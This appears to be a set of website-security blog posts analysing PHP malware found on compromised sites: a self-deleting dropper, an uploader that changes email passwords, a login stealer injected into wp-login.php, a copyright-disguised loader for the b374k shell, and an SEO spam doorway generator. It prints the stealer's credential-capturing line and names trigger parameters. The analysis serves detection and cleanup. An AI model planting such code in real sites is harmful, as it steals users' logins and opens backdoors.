The majority of malware we find on compromised websites have been planted by bad actors with the intention of concealing and accessing backdoor access.
During a recent investigation, we found an interesting variation of this technique. The code was intentionally created to inject backdoors and other tools, but possessed an unusual feature: the injected content is executed only once before self-destructing.
This malware is pretty simple and consists of only 13 lines. The code expects a $_POST request with the zzz variable.
Similarly to a malware dropper technique, the zzz variable is decoded and written into another file 407.php. In the statement require_once(), the injected content is evaluated (executed) and subsequently removed with the unlink() call.
The malware doesn't rely on known abused executable functions (for example, the eval() function) and doesn't store any encoded content, which are features that commonly trigger scanners used to detect possible malicious files.
This snippet first decodes the base64 string from _$X, then uses the strtr PHP function to substitute and replace characters in the decoded text based on the following table:
A prime example of this functionality would be the PHP variable used to store the values of common email ports:
$p2rts=1rr1y(ai, i87, uei, 660, 99i, 6uo , 99o);
$ports=array(25, 587, 465, 110, 995, 143 , 993);
After fully deobfuscating the malware’s code, it looks very similar to the previous variants—with the exception that this new version contains an uploader. This uploader is triggered whenever a _$GET request is sent with the defined string ?vvebos=olux.
Loading this malware file in a browser displays the following result:
As expected, the malware lists the email account(s) and their new password values, along with some helpful port scanning data for the malicious user. Bad actors can use this information to connect to the email accounts via the Webmail browser interface available on most cPanel hosting accounts. The default webmail ports are 2095 (HTTP) and 2096 (HTTPS) (e.g hxxp://domain.com:2095 or hxxps://domain.com:2096).
These functions allow the attacker to exclude hard coded file names and content and change them at their leisure, making it more difficult to detect. The bad actor provides the desired content using the _file_putcontent($filename, $data) function during their HTTP request to the malicious file.
As you can see in the image, the HTTP parameters c and d provide the file name (shell.php) and define the download location (local or remote) for thee file name’s content.
In this example, I used shell.php for the c parameter and defined localhost/test.txt for the d parameter, which serves as the download location for _file_getcontents.The function _file_putcontents then inserts (and creates) file shell.php in the current directory.
We recently found the following malicious code injected into wp-login.php on multiple compromised websites. \
} // End of login_header()
$username_password=$_POST['log']."----xxxxx----".$_POST['pwd']."ip:".$_SERVER['REMOTE_ADDR'].$time = time()."\r\n";
Code injection in wp-login.php
This snippet for a malicious login stealer demonstrates why file integrity monitoring can be very useful to detect small changes in legitimate website files — especially when malicious code is intended to be undetectable, like in the case of this login stealer.
The login stealer operates in the following manner: when a WordPress user submits their login information to the wp-login.php file, it stores the username in the request under the log parameter and the password under the pwd parameter.
Malicious code captures these credentials from the visitor’s HTTP POST request along with the IP address and current time, then formats the text a bit. Afterwards, it uses fopen to open (or create if it doesn’t exist and configuration allows) a .jpg file and store the captured information from the incoming POST request using the _fwrite _function.
This is a very simple, rudimentary login stealer: it ends up capturing every attempted login, regardless of whether it is successful or not.
When checking websites that have been infected with this injection, we can observe it writing unsuccessful bruteforce attempts to the fake .jpg file:
This file (33x77.php) was detected in the document root of a website during a website cleanup for a client. It demonstrates how hackers sometimes use comments or other text within malicious code to confuse website owners and prevent detection and removal of malicious files.
In this case, the “Loader for Secured Files. Copyright 2001-2017. All rights reserved.” text is used in an attempt to add some authenticity to the file. Credibility indicators like copyright or trademark symbols can trick administrators into thinking the file is not malicious, preventing further investigation.
This file’s coding structure also looks unusual — the code uses the function preg_matchto perform a regular expression search and assign a group (e.g ) to its matching text. The search is then performed on the content provided by the php_strip_whitespace(FILE), which removes comments and whitespaces before it assigns the $f variable — whatever preg_match matches with its regular expression search. The $f variable now contains a string of base64 encoded text, and is decoded into an array using json_decode and base64_decode.
The array of the decoded base64 text string ($f) is logically ordered based on the array values to allow for further code eval:
The additional layers of encoding contain a popular PHP shell named b374k. This shell performs numerous functions to the hosting environment and its website.
While investigating a client’s compromised website, we saw a malicious file that was being used to manage an existing SEO spam doorway.
We usually refer to these types of files as doorway generators due to their uncanny ability to create new SEO spam pages/doors.
These files can be large, as they incorporate a lot of various features (e.g functions to check SERPs and update the spam accordingly). They are also often obfuscated using various encoding like base64, or use hexadecimal instead of ASCII characters, but this file was different:
It utilizes a less suspicious way to obscure the malicious code through an array, then uses a PHP function alias to make the suspicious code harder to detect.
This created function is responsible for fetching the new SEO spam content:
A few additionally created functions are then used for inserting the new spam into index.php or .htaccess files and modifying the file permissions:
Before these new functions are used, the new SEO spam’s location needs to be determined — this is accomplished using variables $a, $b, $c, and $d.
There is no hard coded URL or domain name. Instead, this is supplied in the HTTP request sent to the file by the spammer:
These variables and created functions are all combined to perform specific tasks based on HTTP parameters being met on the request, and sent by the spammer to the file:
This set of code in the file runs when used with an HTTP request containing an if parameter. It then fetches new data from the previously defined $a variable, using the methods in the previously created function send(e.g curl, file_get_contents).
The “缺失” text looks to be Chinese characters similar to a 404 “File not found” error page. As long as the fetched data doesn’t include that, it is inserted into the defined file (index.php) and printed to the output.
The created functions like send, rwx, fpc, and fgc can help evade detection by some scanning tools that only usestatic signature rules, as they may only be looking for the PHP functions file_put_contents, file_get_contents, chmod, etc.
The attacker also avoids using common obfuscation methods like eval(base64), which are easily detectable and suspicious. However, a file integrity monitor would detect the addition of SEO spam doorways — including this malicious file, as well.